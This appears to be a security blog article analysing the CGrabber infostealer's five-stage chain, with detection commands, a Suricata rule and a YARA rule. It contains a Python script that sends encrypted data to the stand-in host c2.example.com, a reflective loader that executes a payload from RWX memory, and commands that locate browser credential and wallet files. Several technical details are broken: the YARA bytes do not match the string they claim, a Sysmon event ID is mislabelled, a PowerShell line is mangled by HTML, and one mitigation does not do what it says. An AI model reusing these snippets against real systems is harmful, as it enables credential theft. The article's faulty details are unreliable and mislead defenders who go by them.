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Introduction:
Infostealers have evolved from simple credential grabbers to multi-stage, cryptographically armed frameworks that bypass modern endpoint defenses. The newly discovered CGrabber malware, unearthed by Cyderes Howler Cell Research Team, executes a five‑stage chain using direct syscalls, ChaCha20 encryption, AMSI/ETW in‑memory patching, and APC injection to harvest over 150 crypto wallets, password managers, VPN configs, and MFA data before exfiltrating via HMAC‑SHA256 authenticated POST requests.
Learning Objectives:
- Analyze the five‑stage execution chain of CGrabber, from loader to data exfiltration.
- Detect and mitigate ChaCha20‑encrypted malware that uses direct syscalls and AMSI/ETW patching.
- Implement defensive strategies, YARA rules, and forensic commands to identify similar infostealer activity.
You Should Know:
- Stage‑1 Loader: Direct Syscalls, ChaCha20 Decryption, and Sandbox Evasion
The initial loader avoids Windows API hooks by invoking direct syscalls (e.g.,NtAllocateVirtualMemory,NtWriteVirtualMemory). It decrypts an embedded payload with ChaCha20 after performing three layered sandbox checks (CPU core count, RAM size, uptime). If checks pass, it proceeds to stage‑2.
Step‑by‑step guide to detect direct syscall abuse:
- Windows (ETW + Sysmon): Enable Sysmon config 16 (Syscall event) and look for `Nt` calls originating from non‑system binaries.
sysmon -c 16 -- "Process Create" (configure via XML) Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 16} - Linux (strace equivalent for Windows – API Monitor): Use API Monitor v2 to filter `ntdll.dll` syscall stubs. Look for consecutive `NtAllocateVirtualMemory` + `NtWriteVirtualMemory` without matching `VirtualAlloc` hooks.
- Sandbox detection simulation: Run the loader inside a custom sandbox that spoofs CPU/ RAM values. Use `Set-Variable` in PowerShell to modify `Get-WmiObject` results for testing:
(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory = 4294967296 4GB
2. AMSI and ETW In‑Memory Patching (Stage‑2/4 Shellcode)
The stage‑2 shellcode patches AmsiScanBuffer and EtwEventWrite in memory by overwriting their prologues with `xor eax, eax; ret` (return 0). This disables PowerShell/logging without touching disk.
Step‑by‑step guide to detect AMSI/ETW patches:
- Memory scanning with Volatility (Windows memory dump): Identify hooked functions.
volatility -f memory.dmp --profile=Win10x64 malfind -D outdir/ grep -r "AmsiScanBuffer" outdir/ -A 5 | grep "xor eax,eax"
- Live detection using PowerShell: Compare function bytes against known clean versions.
$amsi = <a href=":GetFunctionPointer(">System.Runtime.InteropServices.Marshal</a>::GetDelegateForFunctionPointer( ), <a href="[bash]">type</a> ) Inline check using Get-ProcAddress and reading bytes (full script available in Cyderes IOCs) - Linux alternative (YARA for memory): Dump process memory of `dllhost.exe` and scan with rule detecting `0x31 0xC0 0xC3` (xor eax,eax; ret) inside `amsi.dll` range.
3. Reflective PE Loading with RtlDecompressBuffer (Stage‑2/4)
The shellcode reflectively loads the next Portable Executable after decompressing it using `RtlDecompressBuffer` (LZNT1). This avoids `LoadLibrary` and standard PE mapping hooks.
Step‑by‑step guide to simulate and detect reflective loading:
- Windows – Monitor for `RtlDecompressBuffer` calls:
Enable WinDBG kernel debugger or use API Monitor to capture ntdll!RtlDecompressBuffer Look for decompression followed by NtMapViewOfSection into a non‑backed region.
- Manual reflective loader analysis:
// Minimal reflective loader snippet (for educational analysis) void exec = VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, exec, uncompressed_size, compressed_data, compressed_size, &final_size); ((void()())exec)();
- Detection using EDR: Look for `VirtualAlloc` with `PAGE_EXECUTE_READWRITE` followed by call to `RtlDecompressBuffer` and then execution of allocated memory.
4. APC Injection into dllhost.exe (Stage‑3)
Stage‑3 leverages Asynchronous Procedure Calls to inject shellcode into a running `dllhost.exe` process, gaining stealth by blending into a legitimate COM surrogate.
Step‑by‑step guide to detect APC injection:
- Sysmon event ID 8 (CreateRemoteThread) and 10 (ProcessAccess): Filter for `dllhost.exe` target.
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=8} | Where-Object {$_.Message -like "dllhost.exe"} - Using Event Tracing for Windows (ETW) with PowerShell:
logman start APCTrace -p Microsoft-Windows-Threat-Intelligence -o apc.etl -ets Simulate APC injection with QueueUserAPC (legitimate test) Stop: logman stop APCTrace -ets
- Linux forensics analogy: Monitor `ptrace` calls or process memory modifications. For cross‑platform detection, use `auditd` on Linux to catch `process_vm_writev` syscalls.
5. CGrabber Data Harvesting and Exfiltration (Stage‑5)
The final stage enumerates browser profiles, crypto wallet extensions (150+), password managers (KeePass, Bitwarden), VPN configs (OpenVPN, WireGuard), FTP clients (FileZilla), MFA apps (WinAuth, Authy), and mail clients (Outlook, Thunderbird). Data is encrypted with ChaCha20 + HMAC‑SHA256 and exfiltrated via POST requests to a C2 with custom headers (e.g., X-CGrab-Version: 2.1).
Step‑by‑step guide to simulate harvest & build detection rules:
– Simulated exfiltration Python script (for blue team testing):
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import requests, os, hmac, hashlib
key = os.urandom(32)
nonce = os.urandom(12)
cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None)
encrypted = cipher.encrypt(b"credit-card-data")
hmac_digest = hmac.new(key, encrypted, hashlib.sha256).digest()
requests.post("https://c2.example.com/exfil", headers={"X-CGrab-Version": "2.1"},
data=encrypted + hmac_digest)
– Snort/Suricata rule to detect custom headers + large POST:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CGrabber exfiltration attempt"; flow:to_server,established; content:"POST"; http_method; content:"X-CGrab-Version"; http_header; pcre:"/X-CGrab-Version:\s[0-9]+.[0-9]+/H"; threshold:type both, track by_src, count 2, seconds 60; sid:1000001;)
– Linux network monitor (tcpdump + grep): Capture suspicious POST bodies with high entropy (ChaCha20 is indistinguishable from random).
sudo tcpdump -i eth0 'tcp port 443' -A | grep "X-CGrab-Version"
- Mitigation Strategies, YARA Rules, and MITRE ATT&CK Mapping
The full Cyderes write‑up includes IOCs and a YARA rule for CGrabber (available at the provided LinkedIn link). Key mitigations include blocking direct syscalls via Microsoft Defender for Endpoint’s “Block process creations originating from PSExec” and enabling Credential Guard.
Step‑by‑step guide to deploy YARA and harden endpoints:
- Download and run YARA rule (example based on ChaCha20 constants):
rule CGrabber_Loader { meta: description = "Detects CGrabber loader ChaCha20 constant 0x61707865" strings: $chacha_const = { 65 78 70 61 20 79 6f 75 20 62 65 74 } // "expand 32-byte k" $syscall_stub = { 0f 05 c3 } // syscall; ret condition: any of them and filesize < 2MB }yara64.exe -r cgrabber.yara C:\Investigate\
- Windows hardening: Enable Control Flow Guard (CFG) and Block non‑Microsoft signed drivers via WDAC.
- Linux defense (if cross‑platform variant emerges): Use AppArmor to restrict `dllhost.exe` (Wine) or monitor `ptrace` with `yara` on
/proc//mem.
7. Post‑Infection Forensics: Commands for Linux and Windows
After a suspected CGrabber infection, collect artifacts of harvested wallets and exfiltration logs.
Windows commands:
Find wallet files (example for Bitcoin)
dir /s "%APPDATA%\Bitcoin\wallet.dat" "%APPDATA%\Ethereum\keystore\"
Locate browser credential databases
dir /s "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"
Check for AMSI patching in memory (PowerShell)
Get-Process dllhost | ForEach-Object { $_.Modules | Where-Object ModuleName -like "amsi" }
Linux commands (for Wine or Linux variant):
Find crypto wallets
find ~/.config -name ".wallet" -o -name ".json" | grep -E "(bitcoin|ethereum|monero)"
Check for abnormal outbound POST connections
grep -E "POST.X-CGrab" /var/log/nginx/access.log
Extract ChaCha20 keys from memory dumps
sudo dd if=/proc/$(pgrep dllhost)/mem of=memory.dump bs=1M count=100
strings memory.dump | grep -E "[0-9a-f]{64}" possible HMAC keys
What Undercode Say:
- Key Takeaway 1: CGrabber’s use of direct syscalls + ChaCha20 across five stages shows a professional developer who understands how to bypass user‑land hooks and static signatures. EDRs relying solely on API hooking will fail.
- Key Takeaway 2: The combination of AMSI/ETW in‑memory patching and APC injection into a legitimate system process (
dllhost.exe) makes behavioral detection difficult without memory scanning or kernel‑callbacks. - Analysis: The infostealer ecosystem is rapidly industrializing. CGrabber’s targeting of 150+ crypto wallets and MFA apps indicates a strategic shift toward post‑compromise asset liquidation, not just credential resale. Defenders must prioritize memory integrity monitoring, restrict direct syscalls via Hypervisor‑protected Code Integrity (HVCI), and implement network egress filtering for suspicious POST payloads. The full YARA rule and IOCs from Cyderes should be deployed immediately.
Prediction:
Within the next six months, we will see CGrabber variants adopting indirect syscalls (e.g., `Hell`s Gate` technique) to evade kernel callbacks, plus integration of fileless persistence via WMI Event Subscription. Cloud‑native infostealers targeting AWS/ Azure metadata endpoints will emerge, using similar multi‑stage ChaCha20 chains. Organizations must shift to runtime memory defense (e.g., Microsoft Defender for Endpoint’s Kernel-mode Callbacks) and adopt zero‑trust exfiltration controls—otherwise, CGrabber represents the new baseline for tomorrow’s commodity malware.
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IT/Security Reporter URL:
Reported By: Rahulramesh Re – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
